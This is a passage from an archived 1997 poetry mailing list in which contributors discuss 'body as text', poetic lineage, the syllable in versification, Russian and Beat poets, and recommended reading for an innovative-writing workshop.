>halifax, she was dressed in orange from head to toe, heels, tights, suit,
>lipstick, purse. she had a powerful presence. some of her books are:
>'berlin solstice', 'my father's house',and 'pandora'. she wrote pandora
>and berlin solstice before she had any memory of her childhood. her memory
>seeped itself through into her writing. the books lulled her in and she
>couldn't stop even if she wanted to.
>i think you can probably find her stuff in most bookstores, and womens
>bookstores.

↑ Index

375. **Pritchett,Pat**
Re: body as text
Sat 14 Jun 1997

Please have pity on the clueless and elucidate if only briefly what the captivating phrase "body as text" encapsulates. Peter Greenaway's latest film (which I haven't seen and prob. won't) notwithstanding, I assume it refers to the way we read each others' bodies _as_ literal texts: i.e. how appearance shapes perception and conception: how gender is a social construction: how appearances determine social strata and the various games of power that determine who's on the inside and who's on the outside? Am I even close?

PS I like Nicole Broussard very much too, though I've only read _A Book_ and get the feeling this is not as radical as some of her other work.

PPS Two writers I have never read and prob. never will: Philip Roth and Edna O'Brien. Blurbs Roth for Edna's newest book in a print ad in The New Yorker: "The finest woman writer in English today" or some such ancient magisterial nonsense. Gee, Phil, no anxiety there huh? I mean, just so long as she's the finest _woman_ writer I guess your self-elected sense of male pre-eminence is safe, eh?

Patrick Pritchett

From: Kim Dawn
To: POETICS
Subject: Re: ms. non-provocateur
Date: Saturday, June 14, 1997 3:47PM

i know there are men on this list whom i know personally who love moure and brossard and marlat. so, maybe they wouldn't mind or would also be interested in engaging a dialogue concerning the body as text, this concerns men too, it would be really interesting if they joined in. mr. w, care to contribute?

↑ Index

376. **David Dowker**
The Alterran Poetry Assemblage - #2
Sat 14 Jun 1997

ANNOUNCING: the second installment of

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

Featuring: Bob Perelman, David Dowker, David Hoefer, Adam Cornford, John Noto, Sheila Murphy, Charles Alexander, Nancy Dunlop, Matt Hill, Will Alexander, Andrew Joron, Drew Gardner, Peter Middleton, and Lisa Robertson.

[redacted]
http://home.ican.net/~alterra/

↑ Index

377. David Israel
tuned in (etc.)
Sat 14 Jun 1997

Maria,--

re: David Bromige's one-liner & your couple-line reply -- here's a minor "literary footnote" (& example of one's famously admonished against doing -- viz., explaining a joke):

according to me, David B. knew well enough what you meant by "not tuned in." And he had (I'll furthermore wager) no specific notion of your actually thinking of "dropping out" (from the List) --

RATHER, the logic (& charm) of his utterance is (I opine) based on a playful allusion to the famous [or as may be, infamous] (& (surely well known to you -- but poss. you didn't recall the forest for the trees), indeed (one-time) signature utterance of the late Tim Leary, to wit:

tune in
turn on
drop out

ergo:

M.D.: ". . . not TUNED IN . . ." --
D.B.: "TURNED ON, though. And please don't DROP OUT . . ."

(So, the riposte = bon mot + gesture of comradely appreciation)

end of explication du texte
d.i.

/ / / /

> *Date: Sat, 14 Jun 1997 12:21:29 -0500*
> *From: Maria Damon <[redacted]>*
> *Subject: Re: not tuned in, Maria?*
>
> *At 7:05 AM -0700 6/14/97, David Bromige wrote:*
> *Turned on, though. And please don't drop out. David*
>
> *not intending to drop out at all, and Rachel, don't be going puhleez. i meant not tuned in to undercurrents of hostility and violence etc that others detected.*

↑ Index

378. **CHRIS MANN**
Re: authorisations and other jokes
Sat 14 Jun 1997

---

it was that one of the attractions of the (this) medium was the (a) comparative lack of authority and the declining need to argue by anecdote (or territory, or experience (nice tropes all, i'm sure, but not ones that need me to do propaganda for them)). (irony, as a footnote, has of course the advantage of changing nothing. it is ideal. bit like a reader, actually.)

↑ Index

379. **Kim Dawn**
Re: body as text
Sat 14 Jun 1997

---

body as text.
the textual body.
the texture of skin (.
the layers. the writing. become. dense. indeciferable.
 a mass of tangled hair below the surface.
permanence. the tattoo. the thin ink and thick blood.
the unreadable. the forgotton. the body inside the body.
beside
the
body.
the in ( ) between
the hated. the other. the split. the failure of erasure.
the countless attempts. (skin rubbed raw.
it is the memory written before birth. the memory we have chosen to forget.
the memory which lives (and swells). boils. provokes the skins supple surface.
sewn mouths upon the surface.

↑ Index

380. **Tenney Nathanson**
Re: poetic lineage
Sat 14 Jun 1997

Four Temperaments. Unlesss it's actually five poets, in which case ....

Merrill, I think? and Rich? and Moore not counting as one of the four but talked about in relation to Bishop?

and Ashbery?
no wait that makes SIX temperaments? or FIVE?

urgh!

tenney

At 07:38 AM 6/14/97 -0400, you wrote:
>there is interesting book by david kalstone, can't remember title right now
>but it is about four poets -- lowell, bishop, moore and someone else, and
>nice work tracing moore/bishop exchange of influence, and bishop/lowell
>exchange.
>
>please, no one mention "The Anxiety of Influence," please...
>e
>
>

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

381. Bradford J Senning
Re: poetic lineage
Sat 14 Jun 1997

that would be Bishop, Lowell, Merrill, Rich, and Ashbery

the book is "Five Temperaments."

-brad

↑ Index

382. Judy Roitman
Re: appropriateness & current genetic theory
Sat 14 Jun 1997

> *Specifically, when the gene comes from one's mother, it is apparently inactive, the researchers believe.*
> *When it is inherited from the father, however, it is active, and somehow facilitates social interaction.*

So even our (women's that is) *genes* are passive...

I remember at arts camp back in high school in the early 60's being told that women couldn't write poetry because we tended towards passive grammatical constructions. No shit. Told this by a guy, of course. Unfortunately he was the writing teacher.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

383. **Judy Roitman**
Re: poetic lineage / influence
Sat 14 Jun 1997

> *Here's one reference of poss interest to Jordon: an essay about Sylvia Plath in the New York Review of Books, written by James Fenton. Among other things, Fenton contrasts Plath's (constructed) sense of lineage (which he opines amounts to her sense of herself as a woman-poet) with that of Moore & Bishop. (Hmm -- was it a matter of influence? - or a matter of whom [historically] she felt she was competing with? -- pardon there, E)*
>
> *Anyway, the essay appeared in a recent issue -- perhaps about 6 or so weeks ago (?). Title: "Sylvia Plath -- Priestess" or something along those lines.*
>
> *best,*
> *d.i.*
> *.*
> *.....*

It was one of a series of 3, one for each of Moore, Bishop, and Plath.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

384. Joseph Duemer
Re: syllable. king and pin of versification.
Sat 14 Jun 1997

Agreeing with T. Orange on the syllable. Anyone who has tried to write in syllabic forms knows that syllables, as conventionally defined, can sometimes be made to count for two sound units; furthermore even in English--a non-quantative language--some syllables are simply heftier than others. It is the arrangement of these variations that make a syllabic line come together, which keep it from being merely arbritrary.

_____
Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

_____

"Art cannot be tamed, although our responses to it can be . . ." -Jeanette Winterson

↑ Index

385. George Thompson
Re: syllable. king and pin of versification.
Sat 14 Jun 1997

I found Thomas Orange's discussion of Olson and the syllable interesting, but I'm not quite sure what is gained by abandoning the syllable, as T.O. recommends. While I agree that there is nothing 'fundamental' about the syllable,there is nothing fundamental about the phoneme either [I don't understand graphemes very well -- they belong to a completely different sort of sign system -- so I'll leave them out]: phonemes themselves consist of bundles of features [e.g. the presence or absence of labiality or nasality or voicedness, etc.]. So if anything is fundamental it is probably these.

There are probably many ways to define the syllable, but, like Olson maybe, I tend to look at it as a metrical element, i.e., as an abstract unit of measure that ignores real but metrically irrelevant things like phonemes or distinctive features. Any sequence of phonemes that make up a syllable form a unit that is equivalent [metrically] to other such units. So Homer's dactylic hexameter consists of lines that consist of a strictly defined range of syllables, etc. In verse that is 'free' [or perhaps 'projective'?] rather than regular or metrical, the

syllable is the basic building block out of which one constructs a rhythmic line [breath, etc.], a sequence that in itself is a higher-level unit. [now I confess that this is me talking, not Olson; haven't read him in a few years].

I don't understand the distinction that you make, Tom, between 'bent' or 'rent', and 'ent'. As purely syllabic units they are all equivalent: each is one syllable in length, and *as syllables* none of them have any other intrinsic meaning. The problem here is that the first two also happen to be words in English, but that's just a historical accident and has nothing to do with their syllable-hood. As I understand your argument re 'signifying intention', I see no reason why 'ent' is more fundamental than 'bent'. Without some kind of vocalism 'nt' is unpronouncable, but 'e' is a perfectly good syllable by itself. On the whole your argument seems to suggest that in fact the syllable is *not* fundamental from your point of view. Yes. But what is? What is 'ent' if not a syllable? I see it as just a sequence of phonemes, and so from my point of view, the phoneme remains the fundamental unit of all language [not just poetry] from the "sonic-semantic" point of view. What distinguishes 'bent' [as a "unit of poetic substance"] from 'rent' and 'ent' are the initial phonemes: /b/ and /r/ and 0 [zero phoneme].

As far as I can see there are two alternatives: either Olson's syllables are fundamental as units of poetry, or phonemes are [I am not sure if distinctive features have a function that could be called poetic, but maybe...]. At this point I can't see which has the more value as the "basic unit of poetry". I can see some use in both.

Does this make any sense?
George Thompson

p.s. before Henry Gould signs off maybe he can help with his two cents. Or anyone else?

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386. **dbkk**
Re: ms. non-provocateur
Sat 14 Jun 1997

At 4:10 PM -0500 6/14/97, Maria Damon wrote:
>i wd be fascinated by a discussion of female centered issues to the degree
>that we are comfortable w/ same. we have had some rather oblique
>discussions of "writing the body" before, but they've usually consisted of
>people recommending cixous et al to each other and not much further than
>that.

Oh, Maria, have you've forgotten the time that this discussion was subverted to how *Ezra Pound* writes the body!!!!! The women's issues part of the discussion was quickly swept away as if by one of those F5 tornadoes.

But my unwillingness to talk about this stuff is more about it being the subject of my writing and my preferring to keep it messy (there's that word again) and personal, not Formulated. My writing about sex has been as much influenced by men as by women, I picked up many of my tricks from gay men in particular.

Though, in keeping with your money concerns, I must say that I've discovered I will write about *anything* for money. Grease my palms!

Dodie

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387. **Schuchat Simon**
Re: Okudzhava and Aygi
Sat 14 Jun 1997

---

there is an historical element in the equation of Russian and U.S. beat poets, with their emergence during the Khrushchev thaw and the Eisenhower fifties, implications of convergence, interpersonal relations among the poets themselves, (Ginsberg and Voznesensky, etc). there was also something stylistic involved, the uses that the Russians made of Mayakovsky and their futurist predecessors, the fondness for the major statement, etc. eventually this fell away, particularly on the Russian side, but the relations are there. on the American side, do you think you could have the beats without Dostoevsky? but also, see Frank O'Hara's attack on Voznesenky and Yevtushenko: " Mayakovsky's hat, worn by a horse"

too bad Ghenrihk Gould has signed off, I am sure he could add much more than me. Also, Anselm H's first U.S. publication (I think?) was the City Lights pocket poets Red Cats, trans of Voz and Yevtushenko and Konstantin Simonov (!).

if you can ever find tapes or CD of Vladimir Vysotsky singing, that's definitely an experience. (if you saw the Baryshnikov cold war epic White Nights, Baryshnikov does a solo to a Vysotsky piece)

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388. **Michael Boughn**
Re: re : so long
Sat 14 Jun 1997

I actually just spotted the elusive Mr. Bowering (whoever the hell he is) in Toronto near Coach House Press with someone who looked remarkably like Amy Lowell (tho it could have been Victor Coleman in drag).

Mike
[redacted]

> *Gee, Chris, when I spotted your subject header, I thought Bowering had resurfaced & was about to confide something inappropriate to us. David*

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389. **Thomas M. Orange**
arno holz translations
Sun 15 Jun 1997

any germanists out there know
if substantial english translations of
arno holz exist? i've got only a scant
few pomes in a penguin anthology.

missing the mandelstam thread,
t.

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390. **robert drake**
Re: syllable. king and pin of versification.
Sun 15 Jun 1997

bob grumman mentions:
>jwcurry has a one-LETTER poem in which he replaces the
>dot of an i with a finger-print...

the published version of that poem that i have ("curvd H&z 206/th wrecking ball-lzark#50/1¢ent #50", june 1983) is credited as a jw's translation from the Czech of Vladimir Burda... i would suppose that the translation process involved substituting an english-speaker's fingerprint for that of a czech-speaker... and i can imagine a mailart-ish project of a multilingual edition of translations from around the world....

asever
luigi

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391. KENT JOHNSON
to pine away like Echo
Sun 15 Jun 1997

Kim Dawn's commentary about writing the body/the body as text recalls some of the musings of Alan Jen (Jennifer/Julu) Sondheim in recent postings. Interesting to consider that it could well be that Dawn is an incarnation of Sondheim's ever- splicing textual body (I wouldn't be surprised), but, if so, I'd say that "she" is a minor, apprentice-like character in the Sondheim voice-chamber we've been given an inkling of here.

Point of this is to say it's surprising to me that Sondheim's numerous sharings in past months (tiny part of a massive, multiplying work, for intro to which see Sondheim post of 6/8) seem to have generated almost no commentary on the list (though there may be excitement back-channel I'm not privy to), for they seem boundlessly more provocative, psyche-layered, and transgressive than the flame-driven naughtiness of Dawn, which has garnered so much chat of late. I don't mean this as a put-down of Dawn, for she's just begun posting here, and it may be the case that, as Peter Ganick says, "she" is destined to be an important "avant-garde voice." But here's an absolutely confident vote for Sondheim (whatever that name means) as absolutely major figure--a mind-boggling energy locus in cyber-space, whose works are in the same league of conceptual newness as anything by, say, greats like Cage, Mac Low, or Schwerner.

No doubt others have taken note before me, but I thought I'd go ahead and offer my personal opinion: I propose the he/she/they who inhabit Alan are tirelessly unfolding one of the wildest, most exciting textual bodies the world has ever seen.

Attention, please.

Kent

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392. john chris jones
summer reading some are reading summa summer sum?
Sun 15 Jun 1997

Pending the next part of the cyberepic

some summer reading perhaps?

not so much poetic lineage as all lineage, as I came to it via 'the design of everything', with some of my reasons for liking these books:

SIX BOOKS, OR TEN (with quotations found by chance process):

:1. Edwin Schlossberg, 'For my father', in About Bateson, essays on Gregory Bateson, edited by John Brockman, E P Dutton, New York, 1977, pp. 144-167.

'We learn to read and then single letters and words become habitual to the extent that we see them in their context and not as separate things. When we forget ourselves as a word we exist more fully as our entire context.' (p.162.83)

The most interesting writing on 'environment' that I've read, and the best introduction to the thought of Edwin Schlossberg in which distinctions between self and other entities are replaced by a wider awareness that is itself 'the environment', or everything.

2. Marshall McLuhan, Understanding media: the extensions of man, McGraw-Hill Book Company, New York, 1965 (and in other editions).

'In our age artists are able to mix their media diet as easily as their book diet. A poet like Yeats made the fullest use of oral peasant culture in creating literary effects. Quite early, Eliot made great impact by the careful use of jazz and film form'. (p. 53.81)

Out of Insights like this, in profusion, Marshall McLuhan constructs a unified picture of technology-and-mind that undoes stifling specialisations and shows an integrative mind at work.

3. Walt Whitman, Leaves of grass, Norton critical edition, W. W. Norton & Company, New York, 1973, (original edition 1855).

'In the dooryard fronting an old farm-house near the white-wash'd
palings,
Stands the lilac-bush tall-growing with heart-shaped leaves of rich
green,
With many a pointed blossom rising delicate, with the perfume strong I
love,
With every leaf a miracle - and from this bush in the door-yard,
With delicate-color'd blossoms and heart-shaped leaves of rich
green,
A sprig with its flower I break.' (p. 329.38)

Walt Whitman was, with William Wordsworth, one of the first to attempt a democratic poetry 'of everyone'. His poems were perhaps the first to celebrate the vastness and the equality of the modern life and can bring humanity and inspiration to notions like 'universal access'.

4. Joseph Beuys, Energy plan for western man, Joseph Beuys in America, writings and interviews with the artist, compiled by Carin Kuoni, Four Walls Eight Windows, New York, 1990.

'Q: How would you describe your new aesthetic?

BEUYS: I describe it radically: I say aesthetics = human being. That is a radical formula. I set the idea of aesthetics directly in the context of human existence, and then I have the whole problem in the hand, then I have not a special problem, I have a "holography". (Beuys laughs, audience laughs, sympathetically.) I don't know exactly what a holography is . . . (more laughter).' (p. 34.56)

Joseph Beuys has expanded the notion of art to include most of what is presently taken as design, perhaps to all aspects of living. Although there may be unspoken religious assumptions in what he says and does I feel that it's relevant to everyone in modern times. He has expanded the ideas of 'what is a person', 'what is a culture': a necessary step in any attempt to improve modern life, I believe.

5. William Morris, News from nowhere, or an epoch of rest, being some chapters from a utopian romance , edited by James Redmond, Routledge and Kegan Paul, London, 1970 (original edition 1890).

'The man himself was tall, dark-haired, and exceedingly handsome, and though his face was no less kindly in expression than that of the others, he moved with that somewhat haughty mien which great beauty is apt to give to both men and women. He nevertheless came and sat down at our table with a smiling face, stretching out his long legs and hanging his arm over the chair in the slowly graceful way which tall and well-built people may use without affectation. He was a man in the prime of life, but looked as happy as a child who has just got a new toy. He bowed gracefully to me and said: 'I see clearly that you are the guest, of whom Annie has just told me, who has come from some distant country that does not know of us, or our ways of life. So I daresay you would not mind answering me a few questions . . .'(p. 17.02)

Of the many utopias and distopias, from The Republic of Plato to George Orwell's1984 , and after, there are few that do not presume an authoritarian government, forcing people to be good, or at least to conform. William Morris's utopia is an exception in which people govern themselves. An encouragement to trust ourselves and others as we are, given freedom from hierarchy, bureaucracy and such.

6. John Cage, Silence, lectures and writings, Marion Boyars, London, 1968, (original edition by Wesleyan University Press, 1961.).

'Though no two performances of the Music of Changes will be identical . . . . two performances will resemble one another closely. Though chance operations

brought about the determination of the composition, these operations are not available in its performance . . . (it) is an object more inhuman than human, since chance operations brought it into being. . . . (which) gives the work the alarming aspect of a Frankenstein monster. This situation is of course characteristic of Western music, the masterpieces of which are its most frightening examples, which when concerned with humane communication only move over from Frankenstein monster to Dictator.' (p. 36.44)

I am surprised by this quotation from one of John Cage's early lectures. In my first reading of Silence (and of his later books A year from Monday, M, Empty words, X ,I-VI) I saw chance composition is a liberation, not a threat - a model of how we may hope to live by freeing ourselves of our 'likes and dislikes' and of central control. Now I must read the lecture again. Not so easy, as it is set in 'excessively small type . . . to emphasize the intentionally pontifical character' of the lecture.

And the last four, which I'd prefer not to exclude if there is space or patience:

7. C. Thomas Mitchell, Redefining designing, from form to experience, Van Nostrand Reinhold, New York, 1993.

'. . . . laypeople find it very difficult to collaborate in the design of something with which they are not very familiar. In the Jordan case, for example, a husband tried to design his future house without permitting his wife to have any input. It quickly became apparent that he was involved in very few activities in the house. When unable to generate a design he reluctantly asked his wife to "help", and a design that pleased them both was then quickly generated.' (p. 80.39) ' Tom Mitchell's book is the best review I know of attempts to share art and design processes 'with everyone'. Surely the way of the future?

8. George Sturt, The wheelwright's shop, Cambridge University Press, Cambridge, 1923 (still in print).

'George Sturt, my grandfather, was not a stranger to the shop when he bought it. He had been leading man there for some time . . . . It seems almost certain to me, first, that he only made a lathe on condition that a proper "house" for it should be built, and second, that Grover was not very well able to refuse what his leading man wanted.' (p. 5.81)

This is the most useful book I know for 'seeing behind design', or 'through it', for in his account of craft of wagon-making George Sturt shows how objects of great complexity, and of excellent 'fit' to their users, were evolved entirely without designers or other educated specialists. I see similarities between this and the crafting of software, and encouragements to share creative processes 'with everyone'.

9. Gertrude Stein, Look at me now and here I am, writings and lectures 1911-1945, edited by Patricia Meyerowitz, Peter Owen, London, 1947 (originally published by Random House, New York, 1941, and still available in other editions).

'No matter how well you know the end of the stage story it is nevertheless not within your control as the memory of an exciting thing is or as the written story of an exciting thing is or even in a curious way the heard story of an exciting thing is. And what is the reason for this difference and what does it do to the stage. It makes for nervousness that of course, and the cause of nervousness is the fact that the emotion of the one seeing the play is always ahead or behind the play.' (p. 61.48)

I can't easily say why I like the theories and writings of Gertrude Stein so much . . . . perhaps it's because she so closely observes her own reactions and out of them, the tiny thought-events which are normally disregarded, is able to reconstruct literature, or theatre, or anything? This is close to 'designing' as I know it and a way to enter 'human mind' as she calls it, the losing of oneself in one's work.

10. Hannah Arendt, The human condition, University of Chicago Press, Chicago and London, 1958 (still in print).

'This unpredictability of outcome is closely related to the revelatory character of action and speech, in which one discloses one's self without ever either knowing himself or being able to calculate beforehand whom he reveals. The ancient saying that nobody can be called eudaimon before he is dead may point to the issue at stake, if we could hear its original meaning after two and a half thousand years of hackneyed repetition; not even its Latin translation . . . . nemo ante mortem beatus esse dici potest - conveys this meaning . . . . For eudaimon means neither happiness nor beatitude . . . . It has connotations of blessedness, but without any religious overtones, and it means literally something like the well-being of the daimon who accompanies each man throughout life, who is his distinct identity, but appears and is visible only to others.' (p.190.90)

What I learnt from this book is that mechanised living is not a norm but an aberration and that there is indeed a better way, well recognised in the past, through which people could live as people, not as consumers, workers or instruments of any kind. Hannah Arendt compares the ancient Greek and modern meanings of labor, work and action and exposes a modern blindness to social presence, as opposed to work and labour, as a reason for living. Given this I see how 'unemployment' as we call it, (supported by no-growth automation) could be enjoyed by everyone, as it once was by the few. The modern age could be a reversal of what it has been! ' (I see now that I mistakenly copied the quotation

from p.192 not 190 but I'll let it stand, assuming there is hidden wisdom in mistakes.)

john-chris

this was written for the ellipsis website :
<http://www.gold.net/ellipsis/> and a mirror site at <http://www.ellipsis.com>

who asked me for six favourite books, re design and everything

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393. **Maria Damon**

Re: appropriateness & current genetic theory

Sun 15 Jun 1997

At 8:03 PM -0500 6/14/97, Judy Roitman wrote:
>> Specifically, when the gene comes from one's mother, it is
>>apparently inactive, the researchers believe.
>> When it is inherited from the father, however, it is active, and
>>somehow facilitates social interaction.
>
>
>So even our (women's that is) *genes* are passive...
>
>I remember at arts camp back in high school in the early 60's being told
>that women couldn't write poetry because we tended towards passive
>grammatical constructions. No shit. Told this by a guy, of course.
>Unfortunately he was the writing teacher.

there's a lot of dumb folks out there, judy. i remember being told by some guy i had a crush on in my first year of college that i was the first woman he'd met whom he could consider his intellectual equal. i was barely able to contain myself, cuz he wasn't that smart, from saying that most of the women i knew were his intellectual superiors. of course, i continued to have a crush on him though with a strange, disoriented loss of balance after that.
>
>
>
>
>----------
>Judy Roitman | "Whoppers Whoppers Whoppers!
>Math, University of Kansas | memory fails
>Lawrence, KS 66045 | these are the days."

>[redacted] | Larry Eigner, 1927-1996
>----------

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394. **Eliza McGrand- CVA Guest**
Re: poetic lineage
Sun 15 Jun 1997

jeez! how many books ARE there?! Five Temperaments sounds familiar, but so did the four poets title... all right gang, i see my responsibility here; i'll look it up tonight on database. e

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395. **luigi**
Re: jwcurry, sondheim, kdawn
Sun 15 Jun 1997

> *lbd, where has that jwcurry poem you mention been published?*

tom--

Curvd H&z is jw curry's imprint, which has a bewildering array of aliases a&nd projects (spider plots in rat holes, 1 cent, industrial sabatoge (magazine), wrecking balzark...). th citation i gave is as close as i could come while looking at th thing, titled "ich" (did i miss that in my first post?). damon lopes has a page devoted to curry's work at his fingerprinting inkoperated site:

http://www.interlog.com/~dal/after/list_curry.html

but it's far frm complete... he had been at lansdowne ave. in toronto, but last i heard he was back on th tracks vagabonding...

jw's work as both a publisher and a poet has been incredibly important to me (in both capacities)... his conception of poems as objects, embodied as publications, particularly... also worth considering in light of recent thread on printing-on-demand, and th visuality of texts... i'd recommend any of his work to folks unfamiliar...

asever
lbd

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396. Kenneth Goldsmith
WFMU on RealAudio
Sun 15 Jun 1997

WFMU, the U.S.'s oldest (and greatest) listener-sponsored freeform radio station is now available on RealAudio via a live feed 24 hours a day!!! Check it out:

http://www.wfmu.org/ssaudionet.shtml

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397. michael corbin
Re: importunate colors
Sun 15 Jun 1997

Hard to keep in check the importunate cynicism of the lame-duck commander-and/in-chief holding forth on reconciliation of things racial and racist in these historical united states. Easy to see the window dressing of 'commissions' and 'town-meetings' and pennies thrown to the EEOC.

But I guess these are importunate times.

But then Gingrich and UofC regent Ward Connerly in today's NYTIMES pooh-pooh even this little Clintonian obliquity of saccharine (hope), and you see how far we have gone. Or how far gone we are.

Easy to avert one's gaze in the boundaries of poetry and elsewhere. Or not even to see it.

Thinking still of _Black Chant: the Languages of African-American Postmodernism_ and its project of "demonstrat[ing] the existence of discrete communities supporting avant-garde work in African-American poetics . . . and to give some indication of the potential significance of these communities . . ."

Nielsen's (possible) vision of a poetic "transracial plentitude" presupposes the architecture of white languages, lines, hymns, poetries of postmodernism. Experimental architects often unselfconsciously colorblind. Still a kind of blindness. Still blind.

So a worthy project here among the garde-avant; or one worthy of that place in the garde, (publishing projects, 'conferences' to be had, communities to be had, discussion lists to discuss, politics to create, readings to be read; poems to be written) in these importunate (cynical) raced times: (re)Reading and (re)writing white transformations of the poem as white transfomations of/and black transformations of . . . white lines, white mythologies, white ears of the other. A poetic-politics of plentitude beyond the mau-mauing pols but also beyond the heretofore colored, liberal experiments in the languages of postmodernism. Beyond a boundary.

mc

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398. Miekal And
Re: to pine away like Echo
Mon 16 Jun 1997

Kim Dawn = Alan Sondheim.

I like that.

I will read further if properly teased.

Desire

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399. KENT JOHNSON
Signage
Mon 16 Jun 1997

Too quick on the delete, and I thought of wanting to add something after pressing the button: Gwyn McVay, I believe, asked a question pertaining to books of "criticism" by innovative writers (tho the question was more specific than that) and Nick Piombino responded with a well-chosen list. Not on there, however, as I recall, was Alan Davies's _Signage_ (Roof, 1987) a book where poetry and criticism deeply fuse into strange and wonderful third things.

What ever happened to Davies, by the way? Perhaps he's been plenty active, and I just don't keep up with things like I might... I remember that during the 80's he was something of a contrarian within the LangPo community, publishing in most all the places, but he was of a different "theoretical" bent, and some of those differences are recorded in the old _L=A=N=G=U=A=G=E Book_. The difference goes something like this:

--Bernstein/Silliman/McCaffery, et.al.: "Thought is language."

--Davies: "No it isn't."

Well, one can imagine it was quite a bit more complicated than that, but the basic philosophical split was interesting (Davies, btw, is a long-time and committed Zen practitioner), and maybe stands as one of the best examples that the Language moment-- a few people still think otherwise, it seems--was not underwritten by some hegemonic Marxist scheme.

Anyway, _Signage_, by Alan Davies, humbly added to Nick Piombino's list.

Kent

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400. Schuchat Simon
where's the list?
Mon 16 Jun 1997

two days without any postings? does that mean the list is down, I'm cut off, or without anything inappropriate to say the list fell silent?

here is another list

Samuel Beckett
Gertrude Stein
Frank O'Hara
Robert Musil
Henry Green
Kenneth Rexroth
Christopher Isherwood
Guillaume Apollinaire
Ronald Firbank

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401. Piombino/Simon
Re: poetic lineage
Mon 16 Jun 1997

Susan Wheeler and Jordan Davis awhile back asked for recommendations of books about poetic lineage. I wanted to list a few books that I turn to about issues in poetics, including poets' views about their contemporaries and forbears. My #1 favorite source for writings about poetics by poets until relatively recently is that reliable warhorse Don Allen's New American Poetry (1960). There is an incredibly useful group of statements on poetics at the end of the book, 30 pages of gold.We have Olson's famous writing about composition by field - he writes about Crane, Cummings,Pound and Williams. We have Duncan mentioning 40 or so writers who have influenced him, Creeley on Olson, Levertov on Duncan and Creeley,Ginsberg on Christ, Buddha, Shelley and Blake, Leroi Jones (Baraka) on Lorca,Williams, Pound and Olson and bios by the authors which list further lineages such as Duncan crediting Satie, Stravinsky and Schoenberg for going "further in the articulation of time than poetry was prepared to go." Also, you might check out A.E. Housman's "The Name and Nature of Poetry"-"Matthew Arnold more than fifty years ago [this is in 1933] in speaking of Wordsworth and Coloridge's low estimate of the poetry of the eighteenth century , issued the warning that 'there are many signs to show that the eighteenth century and its judgements are coming into favour again.'" Other favorites include Paul Valery's "Leonardo, Poe, Mallarme" (Princeton UP, 1972) (Vol.8 of the Collected Works in English), Robert Motherwell's "The Dada Painters and

Poets" (Wittenborn, Schulz,1951) and The Collected Writings of Robert Motherwell-check out "Letter from Robert Motherwell to Frank O'Hara, dated August 18,1965".

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402. Gwyn McVay
open/innovative poetics pedagogy
Mon 16 Jun 1997

Are there any readings, whether single essays or collections by a particular author, that poetics-listers would consider useful to the participants in a workshop designed to explore open/innovative/experi "mental"/querzblatz writing and practices of writing? The various Sun & Moon anthologies, /Other Side/ and the Gertrude Stein Awards anthologies, are being considered as successful examples of same--but wd. much appreciate pointers--like if there's a particular essay in which Burroughs describes the Gysin cut-up method. Or a particular Bernstein essay? Or is it better just to put the students in a Joseph Cornell box and shake it vigorously?

bests
Gwyn

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403. David R. Israel
Re: Okudzhava and Aygi
Mon 16 Jun 1997

Schuchat Simon writes:

> *on the American side, do you think you could have the beats without Dostoevsky?*

& more particularly, where would "underground literature" be (or the "underground movement" as we used to say in the 60s) w/o Notes From The Underground? (noted blindly -- having never really read the latter)

On political-idea side, one could presumably trace Tolstoy to Gandhi to MLK to another side of the American hip weltenshauung.

d.i.

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404. Steven Marks
Re: poetic lineage / influence
Mon 16 Jun 1997

Just to add to Judy's list: The most recent issue of the NY Review (June 26, 1997) has a long piece on Rabindranath Tagore by Amartya Sen. Has anybody else read this? I'm curious about whether the facts and opinions presented here are basically agreed upon or whether there are Indiologists (?) who have other takes on Tagore. David Israel, George Thompson -- any comments?

Steven

On Sat, 14 Jun 1997, Judy Roitman wrote:

> *Here's one reference of poss interest to Jordon: an essay about Sylvia Plath in the New York Review of Books, written by James Fenton. Among other things, Fenton contrasts Plath's (constructed) sense of lineage (which he opines amounts to her sense of herself as a woman-poet) with that of Moore & Bishop. (Hmm -- was it a matter of influence? - or a matter of whom [historically] she felt she was competing with? -- pardon there, E)*
>
> *Anyway, the essay appeared in a recent issue -- perhaps about 6 or so weeks ago (?). Title: "Sylvia Plath -- Priestess" or something along those lines.*
>
> *best,*
> *d.i.*
> *.*
> *.....*
>
> *It was one of a series of 3, one for each of Moore, Bishop, and Plath.*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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405. Piombino/Simon
Re: open/innovative poetics pedagogy
Mon 16 Jun 1997

Hi Gwyn, C. Bernstein's a poetics(Harvard,1992) contains his classic poem/essay on contemporary poetics "Artiface of Absorption." It also contains what I

consider one of his most moving essays "The Second War and Postmodern Memory." I would also recommend Barrett Watten's Total Syntax (Southern Illinois UP), Ron Silliman's New Sentence (Roof), my own Boundary of Blur (Roof) and the terrific My Poetry by David Bromige (The Figures).Also , I'd highly recommend all three issues of Chain edited by Juliana Spahr and Jena Osman, and particularly the first issue on Gender and Editing including an engrossing forum containing thoughts on editing and other issues by 36 artists and poets,all women.This will shake them vigorously, I'll wager. Mon, 16 Jun 1997, Gwyn McVay wrote:

> *Are there any readings, whether single essays or collections by a particular author, that poetics-listers would consider useful to the participants in a workshop designed to explore open/innovative/experi "mental"/querzblatz writing and practices of writing? The various Sun & Moon anthologies, /Other Side/ and the Gertrude Stein Awards anthologies, are being considered as successful examples of same--but wd. much appreciate pointers--like if there's a particular essay in which Burroughs describes the Gysin cut-up method. Or a particular Bernstein essay? Or is it better just to put the students in a Joseph Cornell box and shake it vigorously?*
>
> *bests*
> *Gwyn*

↑ Index

406. Kristin Gallagher
Re: Diamanda Galas
Mon 16 Jun 1997

in the REsearch book *angry women* the first interview is with her, followed by a discography. if yer in a city some small singular serious about music record store will have something of hers. or find an oldish night of the living dead looking kid (wearing all black with lots of eyeliner on etc) and ask em where can i get some diamanda galas? he/she should be happy to oblige.

↑ Index

407. David Bromige
alan jennifer sondeheim
Mon 16 Jun 1997

Absolutely, Kent, & good on you for speaking up. Amiss of me, since I share your sentiments, not to have done so long since. I am awed by his/her scale.

